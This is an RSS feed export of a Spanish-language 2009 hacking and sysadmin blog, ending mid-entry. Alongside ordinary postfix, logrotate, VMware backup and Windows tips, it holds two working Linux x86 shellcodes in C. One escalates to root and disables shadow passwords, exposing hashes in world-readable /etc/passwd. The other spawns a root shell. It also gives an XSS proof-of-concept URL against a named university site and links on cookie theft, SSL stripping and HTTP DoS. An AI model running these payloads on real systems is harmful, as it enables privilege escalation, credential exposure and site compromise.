<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-23164839</atom:id><lastBuildDate>Mon, 13 Jul 2009 06:43:23 +0000</lastBuildDate><title>~Unix &amp; Cisco &amp; Hacks~</title><description>...Sometimes, hacks may be ugly and only exist because someone had an itch that needed scratching. To the engineer, a hack is the ultimate expression of the Do-It-Yourself sentiment: no one understands how a hack came to be better than the person who felt compelled to solve the problem in the first place. If a person with a bent for problem solving thinks a given hack is ugly, then they are almost always irresistibly motivated to go one better and hack the hack...</description><link>http://vlan7.blogspot.com/</link><managingEditor>noreply@blogger.com (vlan7)</managingEditor><generator>Blogger</generator><openSearch:totalResults>317</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/unixCiscoHacks" type="application/rss+xml" /><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-9153362465504250851</guid><pubDate>Thu, 09 Jul 2009 19:36:00 +0000</pubDate><atom:updated>2009-07-10T19:49:53.865+02:00</atom:updated><title>...una historia inofensiva pero real ~ XSS en la web de la Guardia Civil ~</title><description>Pues nada, un XSS que descubri el otro dia jugando.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;center&gt;Full Disclosure 100% DIY (esto es, a mi manera)&lt;br /&gt;donde se habla de una historia&lt;br /&gt;inofensiva pero real&lt;br /&gt;&lt;b&gt;&lt;a href="http://two.xthost.info/vlan7b/Full_Disclosure_Guardia_Civil_XSS_001.pdf"&gt;~ XSS en la web de la Guardia Civil ~&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;Por/By: vlan7 [ http://vlan7.blogspot.com ]&lt;br /&gt;~&lt;br /&gt;Fecha de descubrimiento y contacto con la Guardia Civil: 5-Jul-09&lt;br /&gt;Fecha en la que la Guardia Civil responde confirmándolo: 6-Jul-09&lt;br /&gt;Fecha en la que este XSS queda mitigado: 7-Jul-2009&lt;br /&gt;¿Full Disclosure? released to the public: 10-Jul-2009&lt;br /&gt;~&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;"No hemos hecho nada del otro mundo, porque vivimos en este"&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;Eskorbuto&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;P.D. No es mi especialidad la seguridad web, cualquier correccion sera bienvenida. Gracias.&lt;br /&gt;&lt;br /&gt;He añadido un archivo .ZIP con las referencias, que realmente es lo mejor del documento :D Hay alguno bastante bueno.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://two.xthost.info/vlan7b/Full_Disclosure_Guardia_Civil_XSS_REFERENCES_001.zip"&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=56031&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-9153362465504250851?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/79VScx_t1PA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/79VScx_t1PA/una-historia-inofensiva-pero-real-xss.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/una-historia-inofensiva-pero-real-xss.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4643332997576599454</guid><pubDate>Sat, 04 Jul 2009 22:13:00 +0000</pubDate><atom:updated>2009-07-11T15:11:04.916+02:00</atom:updated><title>unshadow.c shellcode</title><description>Esta shellcode deshabilita el shadowing en un sistema Linux. Todos los passwords de /etc/shadow van a /etc/passwd , legible por todo el mundo :)&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!&lt;br /&gt;                 "\x99" //cdq&lt;br /&gt;                 "\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)&lt;br /&gt;                 "\xb0\x0b" //mov al,0bh&lt;br /&gt;                 "\x52" //push edx /Termina la cadena con un 0&lt;br /&gt;                 "\x68\x63\x6f\x6e\x76" //push dword "conv"&lt;br /&gt;                 "\x68\x70\x77\x75\x6e" //push dword "pwun"&lt;br /&gt;                 "\x68\x62\x69\x6e\x2f" //push dword "bin/"&lt;br /&gt;                 "\x68\x73\x72\x2f\x73" //push dword "sr/s"&lt;br /&gt;                 "\x68\x2f\x2f\x2f\x75" //push dword "///u"&lt;br /&gt;                 "\x89\xe3" //mov ebx,esp&lt;br /&gt;                 "\x89\xd1" //mov ecx,edx&lt;br /&gt;                 "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  printf("\n~ This shellcode disables shadowing on a linux system ~"&lt;br /&gt;         "\n\n\t ~ Coded by vlan7 ~"&lt;br /&gt;         "\n\t ~ http://vlan7.blogspot.com ~"&lt;br /&gt;         "\n\n ~ Date: 4/Jul/2009"&lt;br /&gt;&lt;br /&gt;         "\n\tYou'll have the passwords stored in /etc/passwd."&lt;br /&gt;   "\n\tFor undo purposes use the pwconv command."&lt;br /&gt;         "\n\t ~ Cheers go to: Wadalbertia"&lt;br /&gt;         "\n\t ~ Shellcode Size: %d bytes\n\n",&lt;br /&gt;                sizeof(sc)-1);&lt;br /&gt;&lt;br /&gt;        (*(void (*)()) sc)();&lt;br /&gt;}&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4643332997576599454?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/0ZV_Qjygeh4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/0ZV_Qjygeh4/unshadowc-shellcode.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/unshadowc-shellcode.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-1933515355948367887</guid><pubDate>Sat, 04 Jul 2009 18:28:00 +0000</pubDate><atom:updated>2009-07-12T09:28:12.877+02:00</atom:updated><title>Y sigue el culebron... Smallest (27 bytes) GNU/Linux x86 setuid/execve shellcode without NULLs</title><description>&lt;font color="#FF0000"&gt;&lt;big&gt;&lt;big&gt;&lt;big&gt;&lt;b&gt;Como no sabia que era imposible lo hice&lt;br /&gt;&lt;br&gt;&lt;br /&gt;27 bytes!!!&lt;/b&gt;&lt;/big&gt;&lt;/big&gt;&lt;/big&gt; :) &lt;br /&gt;&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;const char sc[]= "\x31\xdb" //xor ebx,ebx&lt;br /&gt;                 "\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push/pop!&lt;br /&gt;                 "\x99" //cdq&lt;br /&gt;                 "\xcd\x80" //int 80 //setuid(0) should returns 0 right? ;)&lt;br /&gt;                 "\xb0\x0b" //mov al,0bh&lt;br /&gt;                 "\x52" //push edx /Termina la cadena //bin/sh con un 0&lt;br /&gt;                 "\x68\x6e\x2f\x73\x68" //push dword "hs/n"&lt;br /&gt;                 "\x68\x2f\x2f\x62\x69" //push dword "ib//"&lt;br /&gt;                 "\x89\xe3" //mov ebx,edx&lt;br /&gt;                 "\x89\xd1" //mov ecx,edx&lt;br /&gt;                 "\xcd\x80"; //int 80h&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;  printf("\nSMALLEST SETUID &amp; EXECVE GNU/LINUX x86 STABLE SHELLCODE "&lt;br /&gt;"WITHOUT NULLS THAT SPAWNS A SHELL"&lt;br /&gt;                        "\n\nCoded by vlan7"&lt;br /&gt;                        "\n\t + vlan7[at]bigfoot.com"&lt;br /&gt;                        "\n\t + http://vlan7.blogspot.com"&lt;br /&gt;                        "\n\n[+] Date: 4/Jul/2009"&lt;br /&gt;                        "\n[+] Thanks to: sch3m4"&lt;br /&gt;                        "\n\n[+] Shellcode Size: %d bytes\n\n",&lt;br /&gt;                        sizeof(sc)-1);&lt;br /&gt;        (*(void (*)()) sc)();&lt;br /&gt;        return 0;&lt;br /&gt;}&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Voy a citar de &lt;a href="http://www.opengroup.org/onlinepubs/000095399/functions/setuid.html"&gt;&lt;b&gt;aqui&lt;/b&gt;&lt;/a&gt; el funcionamiento de setuid().&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;RETURN VALUE&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Upon successful completion, 0 shall be returned. Otherwise, -1 shall be returned and errno set to indicate the error.&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;ERRORS&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;The setuid() function shall fail, return -1, and set errno to the corresponding value if one or more of the following are true:&lt;br /&gt;&lt;br /&gt;Veamos si entramos en alguno de los casos:&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;[EINVAL]&lt;/u&gt;&lt;br /&gt;The value of the uid argument is invalid and not supported by the implementation&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;No. UID=0 es un UID valido. Es el r00t!&lt;br /&gt;&lt;br /&gt;&lt;i&gt;&lt;u&gt;[EPERM]&lt;/u&gt;&lt;br /&gt;The process does not have appropriate privileges and uid does not match the real user ID or the saved set-user-ID.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Logicamente, esto ultimo puede pasar en la version a la que se llego anteriormente.&lt;br /&gt;&lt;br /&gt;Ah, y aqui el hilo de Wadalbertia:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?t=5139"&gt;&lt;b&gt;Smallest GNU/Linux x86 setuid/execve shellcode without NULLs&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Stay clean,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-1933515355948367887?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/l0kBwvcpck8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/l0kBwvcpck8/y-sigue-el-culebron-smallest-gnulinux.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/y-sigue-el-culebron-smallest-gnulinux.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-9179430346985097127</guid><pubDate>Sat, 04 Jul 2009 07:26:00 +0000</pubDate><atom:updated>2009-07-06T15:44:59.147+02:00</atom:updated><title>XSS</title><description>El otro dia estuve jugando con XSS, y mande algunos a la conocida xssed.com&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.xssed.com/archive/author=vlan7/"&gt;&lt;b&gt;http://www.xssed.com/archive/author=vlan7/&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Quiero dedicar primero muy especialmente este:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.lsi.upc.edu/search?Creator=admin&amp;sort_on=1%3E%27%3E%3Cscript%3Ealert(%22XSS%20by%20vlan7%22)%3C/script%3E"&gt;&lt;b&gt;http://www.lsi.upc.edu&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;dedicado, con cariño, a todos los profesores que tuve que aguantar en su dia del departamento de LSI de la FIB de la UPC; por prohibir las soluciones ingeniosas en sus estupidos problemas. Si por ellos fuera nunca aprendo.&lt;br /&gt;&lt;br /&gt;Mande varios, pero yo me quedo con ese.&lt;br /&gt;&lt;br /&gt;Stay clean,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-9179430346985097127?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/2zuQGV93LKk" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/2zuQGV93LKk/xss.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/07/xss.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4351948774202818761</guid><pubDate>Sat, 27 Jun 2009 08:00:00 +0000</pubDate><atom:updated>2009-06-27T10:01:11.591+02:00</atom:updated><title>postfix + logrotate</title><description>LOGUEANDO 2 INSTANCIAS DE POSTFIX EN 2 ARCHIVOS DIFERENTES:&lt;br /&gt;===========================================================&lt;br /&gt;&lt;br /&gt;/etc/postfix/main.cf :&lt;br /&gt;----------------------&lt;br /&gt;syslog_facility=local1&lt;br /&gt;syslog_name=postfix_smtpExtern&lt;br /&gt;&lt;br /&gt;/etc/postfix-out/main.cf :&lt;br /&gt;--------------------------&lt;br /&gt;syslog_facility=local2&lt;br /&gt;syslog_name=postfix_smtpIntern&lt;br /&gt;&lt;br /&gt;/etc/rsyslog.conf :&lt;br /&gt;-------------------&lt;br /&gt;# Log anything (except mail) of level info or higher.&lt;br /&gt;# Don't log private authentication messages!&lt;br /&gt;*.info;mail.none;authpriv.none;cron.none;local1.none;local2.none /var/log/messages&lt;br /&gt;(...)&lt;br /&gt;local2.* -/var/log/smtpdIntern.log&lt;br /&gt;local1.* -/var/log/smtpdExtern.log&lt;br /&gt;&lt;br /&gt;Reiniciar demonios:&lt;br /&gt;-------------------&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix restart&lt;br /&gt;/etc/init.d/postfix-out restart&lt;br /&gt;&lt;br /&gt;*********************************************************************************&lt;br /&gt;&lt;br /&gt;ROTANDO LOS 2 ARCHIVOS DE LOG CON LOGROTATE:&lt;br /&gt;============================================&lt;br /&gt;&lt;br /&gt;/etc/logrotate.d/syslog (Postfix usa syslog):&lt;br /&gt;---------------------------------------------&lt;br /&gt;/var/log/smtpdIntern.log {&lt;br /&gt;sharedscripts&lt;br /&gt;missingok&lt;br /&gt;weekly&lt;br /&gt;compress&lt;br /&gt;# delaycompress&lt;br /&gt;create&lt;br /&gt;postrotate&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix-out reload&lt;br /&gt;endscript&lt;br /&gt;rotate 12&lt;br /&gt;mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/var/log/smtpdExtern.log {&lt;br /&gt;sharedscripts&lt;br /&gt;missingok&lt;br /&gt;weekly&lt;br /&gt;compress&lt;br /&gt;# delaycompress&lt;br /&gt;create&lt;br /&gt;weekly&lt;br /&gt;postrotate&lt;br /&gt;/etc/init.d/rsyslog restart&lt;br /&gt;/etc/init.d/postfix reload&lt;br /&gt;endscript&lt;br /&gt;rotate 12&lt;br /&gt;mail user@host.com&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;*********************************************************************************&lt;br /&gt;&lt;br /&gt;COMPROBACION FORZANDO ROTACIONES CON LOGROTATE:&lt;br /&gt;===============================================&lt;br /&gt;&lt;br /&gt;/usr/sbin/logrotate --force /etc/logrotate.d/syslog&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4351948774202818761?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/XSyIHkCgN64" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/XSyIHkCgN64/postfix-logrotate.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/postfix-logrotate.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-2344248691481073863</guid><pubDate>Wed, 24 Jun 2009 18:58:00 +0000</pubDate><atom:updated>2009-06-24T21:01:22.043+02:00</atom:updated><title>WPA + TKIP. Probando con tkiptun-ng</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55867&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias a Vic_Thor por la info _de primera mano_, pues es muy dificil encontrar informacion sobre esta herramienta.&lt;br /&gt;&lt;br /&gt;Ah, salio la version 1.0 para win, aunque no la he probado.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-2344248691481073863?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/HTwy79U66JQ" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/HTwy79U66JQ/wpa-tkip-probando-con-tkiptun-ng.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/wpa-tkip-probando-con-tkiptun-ng.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-4254176827790233008</guid><pubDate>Wed, 24 Jun 2009 18:54:00 +0000</pubDate><atom:updated>2009-06-24T20:58:27.624+02:00</atom:updated><title>Slowloris - HTTP DoS</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55898&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gracias Sor_Zitroen por la noticia!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-4254176827790233008?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/oAQKtpadvL8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/oAQKtpadvL8/slowloris-http-dos.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/slowloris-http-dos.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5592424073804202161</guid><pubDate>Tue, 23 Jun 2009 08:49:00 +0000</pubDate><atom:updated>2009-06-23T10:49:53.290+02:00</atom:updated><title>Jugando a robar cookies con surfjack</title><description>&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853"&gt;&lt;b&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55853&lt;/b&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5592424073804202161?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/oxHR9LitY2A" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/oxHR9LitY2A/jugando-robar-cookies-con-surfjack.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/jugando-robar-cookies-con-surfjack.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-5698327714125230909</guid><pubDate>Mon, 22 Jun 2009 10:48:00 +0000</pubDate><atom:updated>2009-06-22T12:50:37.909+02:00</atom:updated><title>Jugando y burlando a SSL con SSLStrip</title><description>&lt;b&gt;&lt;a href="http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846"&gt;http://www.wadalbertia.org/phpBB2/viewtopic.php?p=55846&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;PD Gracias al compañero Popolous por el post-it ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-5698327714125230909?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/UiQ3gRix47w" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/UiQ3gRix47w/jugando-y-burlando-ssl-con-sslstrip.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/jugando-y-burlando-ssl-con-sslstrip.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8847377098576919174</guid><pubDate>Wed, 03 Jun 2009 16:35:00 +0000</pubDate><atom:updated>2009-06-03T18:38:34.404+02:00</atom:updated><title>VMWare disaster recovery</title><description>La idea es tener una tarea cron que copie las maquinas virtuales de un host fisico a otro host fisico VMWare.&lt;br /&gt;&lt;br /&gt;No se realiza escritura a disco, pues en VMWare es lo que mas penalizado se ve. Se comprime todo en un lado del tunel ssh, y por el otro lado se va descomprimiendo.&lt;br /&gt;&lt;br /&gt;Ahi va:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;#!/bin/bash&lt;br /&gt;#&lt;br /&gt;#Copia VMs de FISICA1 a FISICA2 para Disaster Recovery&lt;br /&gt;#&lt;br /&gt;#vlan7 / 13-5-09&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;ALERTA=80 #20% espacio libre&lt;br /&gt;ssh fisica2 df -HP |grep mapper | awk '{ print $5 " " $1 }' |awk '{ print $1}' | cut -d'%' -f1 &gt;/tmp/output&lt;br /&gt;uso=$(cat /tmp/output)&lt;br /&gt;&lt;br /&gt;if [ $uso -g $ALERTA ]; then&lt;br /&gt;  echo "$uso % de espacio utilizado a fisica2, abortando copia" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $uso -le $ALERTA ]; then&lt;br /&gt;  #host1&lt;br /&gt;  echo "Apagando la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd stop "[standard] host1/host1.vmx" soft&lt;br /&gt;  echo "Apagada la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  tar czvf - /var/lib/vmware/Virtual\ Machines/host1/ |ssh fisica2 "cd / ; tar xzvf -"&lt;br /&gt;  echo "Encendiendo la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd start "[standard] host1/host1.vmx"&lt;br /&gt;  echo "Encendida la VM host1 - $(date)" &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt; &lt;br /&gt;  #list all available VMs to log&lt;br /&gt;  vmrun -T server -h https://fisica1:8333/sdk -u user -p passwd list &gt;&gt;/var/log/copiaVMsVMWare.log&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;#enviando correo&lt;br /&gt;tail -100 /var/log/copiaVMsVMWare.log | mail -s "[script] copiaVMsVMWare.sh" user@host.com&lt;/b&gt;&lt;/font&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8847377098576919174?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/5P02iuvxV4A" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/5P02iuvxV4A/vmware-disaster-recovery.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/06/vmware-disaster-recovery.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-8116508971273797468</guid><pubDate>Fri, 13 Mar 2009 16:29:00 +0000</pubDate><atom:updated>2009-03-13T17:31:38.583+01:00</atom:updated><title>Asistente agregar impresoras linea de comandos</title><description>&lt;font color="#FF0000"&gt;&lt;b&gt;RUNDLL32 PRINTUI.DLL,PrintUIEntry /il&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Mas ejemplos en &lt;a href="http://www.robvanderwoude.com/2kprintcontrol.php"&gt;http://www.robvanderwoude.com/2kprintcontrol.php&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A mi me fue util en una ocasion...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-8116508971273797468?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/inRrv6zQ3NY" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/inRrv6zQ3NY/asistente-agregar-impresoras-linea-de.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/03/asistente-agregar-impresoras-linea-de.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-6589863941969850011</guid><pubDate>Wed, 25 Feb 2009 18:09:00 +0000</pubDate><atom:updated>2009-02-25T19:16:42.865+01:00</atom:updated><title>Equipos wireless iniciar sesion en dominio</title><description>Si un equipo nunca ha iniciado sesion en un dominio, no tendra guardadas las credenciales en cache. Esto es un problema para equipos wifi que quieran iniciar sesion en el dominio de nuestra organizacion.&lt;br /&gt;&lt;br /&gt;Y aunque tengan guardadas las credenciales en cache, no se ejecutara en su maquina ningun logonscript.&lt;br /&gt;&lt;br /&gt;La solucion es cargar y activar la tarjeta wifi antes del inicio de sesion, antes de autenticarse.&lt;br /&gt;&lt;br /&gt;Yo me quedo con esta manera de hacerlo:&lt;br /&gt;&lt;br /&gt;1. Usar el servicio Windows Zero Configuration (Inicio de sesion wifi facil o algo asi se llama en castellano)&lt;br /&gt;&lt;br /&gt;2. regedit. HKLM \ Software \ Microsoft \ WindowsNT \ CurrentVersion \ Winlogon&lt;br /&gt;Añadir valor DWORD GpNetworkStartTimeoutPolicyValue 3c (hexa) o 60 (dec)&lt;br /&gt;&lt;br /&gt;3. regedit. HKLM \ Software \ Policies \ Microsoft \ Windows \ System&lt;br /&gt;Añadir valor DWORD GroupPolicyMinTransferRate a 0.&lt;br /&gt;&lt;br /&gt;Y los clientes ya podran iniciar sesion como si estuvieran conectados a la red cableada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-6589863941969850011?l=vlan7.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/unixCiscoHacks/~4/_eiG6WxiY0Y" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/unixCiscoHacks/~3/_eiG6WxiY0Y/equipos-wireless-iniciar-sesion-en.html</link><author>noreply@blogger.com (vlan7)</author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://vlan7.blogspot.com/2009/02/equipos-wireless-iniciar-sesion-en.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-23164839.post-7589951530620281400</guid><pubDate>Wed, 25 Feb 2009 18:08:00 +0000</pubDate><atom:updated>2009-02-25T19:09:36.097+01:00</atom:updated><title>User Profile Deletion Utility (Delprof.exe)</title><description>&lt;i&gt;Delprof.exe is a command-line utility that you can use to delete user profiles on a local or remote computers running Windows 2000, Windows XP, and Windows Server 2003.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;a 